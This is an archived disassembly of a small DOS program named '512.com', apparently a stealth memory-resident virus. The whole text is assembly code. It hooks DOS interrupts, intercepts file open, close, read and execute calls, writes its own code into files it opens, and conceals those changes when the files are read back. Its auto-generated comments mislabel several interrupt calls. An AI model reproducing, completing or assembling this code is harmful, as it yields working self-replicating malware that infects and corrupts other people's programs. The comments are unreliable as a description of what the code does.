home *** CD-ROM | disk | FTP | other *** search
- ;PROGRAM NAME: 512.com
- ;-------------------------------------------------
- H00100: MOV AH,30h
- INT 21h ;DOS Version#
- MOV SI,0004h
- MOV DS,SI ;SEGMENT OPERATION
- CMP Byte Ptr AH,1Eh
- LDS AX,[SI+08h]
- JB H0011B ; . . . . . . . . .
- MOV AH,13h
- INT 2Fh ;Print Spooler Ctrl
- PUSH DS ;SEGMENT OPERATION
- PUSH DX
- INT 2Fh ;Print Spooler Ctrl
- POP AX
- POP DS ;SEGMENT OPERATION
- H0011B: MOV DI,00F8h
- STOSW
- MOV AX,DS
- STOSW
- MOV DS,SI ;SEGMENT OPERATION
- LDS AX,[SI+40h]
- STOSW
- CMP AX,0121h
- MOV AX,DS
- STOSW
- PUSH ES ;SEGMENT OPERATION
- PUSH DI
- JNZ H00139 ; . . . . . . . . .
- SHL Word Ptr SI,1
- MOV CX,0100h
- REPZ
- CMPSW
- H00139: PUSH CS ;SEGMENT OPERATION
- POP DS ;SEGMENT OPERATION
- JZ H00187 ; . . . . . . . . .
- MOV AH,52h
- INT 21h ;INDEF FUNCTION
- PUSH ES ;SEGMENT OPERATION
- MOV SI,00F8h
- SUB DI,DI
- LES AX,ES:[BX+12h]
- MOV DX,ES:[DI+02h]
- MOV CX,0104h
- REPZ
- MOVSW
- MOV DS,CX ;SEGMENT OPERATION
- MOV DI,0016h
- MOV Word Ptr [DI+6E],0121h
- MOV [DI+70h],ES
- POP DS ;SEGMENT OPERATION
- MOV [BX+14h],DX
- MOV DX,CS
- MOV DS,DX ;SEGMENT OPERATION
- MOV BX,[DI-14h]
- DEC Byte Ptr BH
- MOV ES,BX ;SEGMENT OPERATION
- CMP DX,[DI]
- MOV DS,[DI] ;SEGMENT OPERATION
- MOV DX,[DI]
- DEC DX
- MOV DS,DX ;SEGMENT OPERATION
- MOV SI,CX
- MOV DX,DI
- MOV CL,08h
- REPZ
- MOVSW
- MOV DS,BX ;SEGMENT OPERATION
- JB H00197 ; . . . . . . . . .
- INT 20h ;TERMINATE normally
- ;-------------------------------------------------
- H00187: MOV SI,CX
- MOV DS,[SI+2Ch] ;SEGMENT OPERATION
- H0018C: LODSW ; . . . . . . . . .
- DEC SI
- TEST AX,AX
- JNZ H0018C ; . . . . . . . . .
- ADD Word Ptr SI,+03h
- MOV DX,SI
- H00197: MOV AH,3Dh
- CALL H001B0 ; . . . . . . . . .
- MOV DX,[DI]
- MOV [DI+04h],DX
- ADD [DI],CX
- POP DX
- PUSH DX
- PUSH CS ;SEGMENT OPERATION
- POP ES ;SEGMENT OPERATION
- PUSH CS ;SEGMENT OPERATION
- POP DS ;SEGMENT OPERATION
- PUSH DS ;SEGMENT OPERATION
- MOV AL,50h
- PUSH AX
- MOV AH,3Fh
- RETF
- ;-------------------------------------------------
- H001B0: INT 21h ;INDEF FUNCTION
- JB H001CD ; . . . . . . . . .
- MOV BX,AX
- H001B6: PUSH BX
- MOV AX,1220h
- INT 2Fh ;Print Spooler Ctrl
- MOV BL,ES:[DI]
- MOV AX,1216h
- INT 2Fh ;Print Spooler Ctrl
- POP BX
- PUSH ES ;SEGMENT OPERATION
- POP DS ;SEGMENT OPERATION
- ADD Word Ptr DI,+11h
- MOV CX,0200h
- H001CD: RET
- ;-------------------------------------------------
- H001CE: STI
- PUSH ES ;SEGMENT OPERATION
- PUSH SI
- PUSH DI
- PUSH BP
- PUSH DS ;SEGMENT OPERATION
- PUSH CX
- CALL H001B6 ; . . . . . . . . .
- MOV BP,CX
- MOV SI,[DI+04h]
- POP CX
- POP DS ;SEGMENT OPERATION
- CALL H00211 ; . . . . . . . . .
- JB H0020A ; . . . . . . . . .
- CMP SI,BP
- JNB H0020A ; . . . . . . . . .
- PUSH AX
- MOV AL,ES:[DI-04h]
- NOT Byte Ptr AL
- AND AL,1Fh
- JNZ H00209 ; . . . . . . . . .
- ADD SI,ES:[DI]
- XCHG SI,ES:[DI+04h]
- ADD ES:[DI],BP ;SEGMENT OPERATION
- CALL H00211 ; . . . . . . . . .
- MOV ES:[DI+04h],SI ;SEGMENT OPERATION
- LAHF
- SUB ES:[DI],BP ;SEGMENT OPERATION
- SAHF
- H00209: POP AX
- H0020A: POP BP
- POP DI
- POP SI
- POP ES ;SEGMENT OPERATION
- RETF 0002h
- ;-------------------------------------------------
- H00211: MOV AH,3Fh
- H00213: PUSHF
- PUSH CS ;SEGMENT OPERATION
- CALL H0023A ; . . . . . . . . .
- RET
- ;-------------------------------------------------
- CMP Byte Ptr AH,3Fh
- JZ H001CE ; . . . . . . . . .
- PUSH DS ;SEGMENT OPERATION
- PUSH ES ;SEGMENT OPERATION
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- CMP Byte Ptr AH,3Eh
- JZ H0023F ; . . . . . . . . .
- CMP AX,4B00h
- MOV AH,3Dh
- JZ H00241 ; . . . . . . . . .
- H00232: POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- POP ES ;SEGMENT OPERATION
- POP DS ;SEGMENT OPERATION
- H0023A: JMP Far CS:[H00004h]
- ;-------------------------------------------------
- H0023F: MOV AH,45h
- H00241: CALL H001B0 ; . . . . . . . . .
- JB H00232 ; . . . . . . . . .
- SUB AX,AX
- MOV [DI+04h],AX
- MOV Byte Ptr [DI-0Fh],02h
- CLD
- MOV DS,AX ;SEGMENT OPERATION
- MOV SI,004Ch
- LODSW ; . . . . . . . . .
- PUSH AX
- LODSW ; . . . . . . . . .
- PUSH AX
- PUSH [SI+40h]
- PUSH [SI+42h]
- LDS DX,CS:[SI-50h]
- MOV AX,2513h
- INT 21h ;Set Intrpt Vector
- PUSH CS ;SEGMENT OPERATION
- POP DS ;SEGMENT OPERATION
- MOV DX,0204h
- MOV AL,24h
- INT 21h ;Write Random Rcds
- PUSH ES ;SEGMENT OPERATION
- POP DS ;SEGMENT OPERATION
- MOV AL,[DI-04h]
- AND AL,1Fh
- CMP AL,1Fh
- JZ H00284 ; . . . . . . . . .
- MOV AX,[DI+17h]
- SUB AX,4F43h
- JNZ H002C3 ; . . . . . . . . .
- H00284: XOR [DI-04h],AL
- MOV AX,[DI]
- CMP AX,CX
- JB H002C3 ; . . . . . . . . .
- ADD AX,CX
- JB H002C3 ; . . . . . . . . .
- TEST Byte Ptr [DI-0Dh],04h
- JNZ H002C3 ; . . . . . . . . .
- LDS SI,[DI-0Ah]
- DEC AX
- SHR Byte Ptr AH,1
- AND AH,[SI+04h]
- JZ H002C3 ; . . . . . . . . .
- MOV AX,0020h
- MOV DS,AX ;SEGMENT OPERATION
- SUB DX,DX
- CALL H00211 ; . . . . . . . . .
- MOV SI,DX
- PUSH CX
- H002AF: LODSB ; . . . . . . . . .
- CMP AL,CS:[SI+07h]
- JNZ H002DD ; . . . . . . . . .
- LOOP H002AF ; . . . . . . . . .
- POP CX
- H002B9: OR Byte Ptr ES:[DI-04h],1Fh
- H002BE: OR Byte Ptr ES:[DI-0Bh],40h
- H002C3: MOV AH,3Eh
- CALL H00213 ; . . . . . . . . .
- OR Byte Ptr ES:[DI-0Ch],40h
- POP DS ;SEGMENT OPERATION
- POP DX
- MOV AX,2524h
- INT 21h ;Set Intrpt Vector
- POP DS ;SEGMENT OPERATION
- POP DX
- MOV AL,13h
- INT 21h ;Write Random Rcds
- JMP H00232
- ;-------------------------------------------------
- H002DD: POP CX
- MOV SI,ES:[DI]
- MOV ES:[DI+04h],SI ;SEGMENT OPERATION
- MOV AH,40h
- INT 21h ;Write File/Device
- JB H002BE ; . . . . . . . . .
- MOV ES:[DI],SI ;SEGMENT OPERATION
- MOV ES:[DI+04h],DX ;SEGMENT OPERATION
- PUSH CS ;SEGMENT OPERATION
- POP DS ;SEGMENT OPERATION
- MOV DL,08h
- MOV AH,40h
- INT 21h ;Write File/Device
- JMP Short H002B9
- ;-------------------------------------------------
- IRET
- ;-------------------------------------------------
- ADD SS:[BX+SI],AL ;SEGMENT OPERATION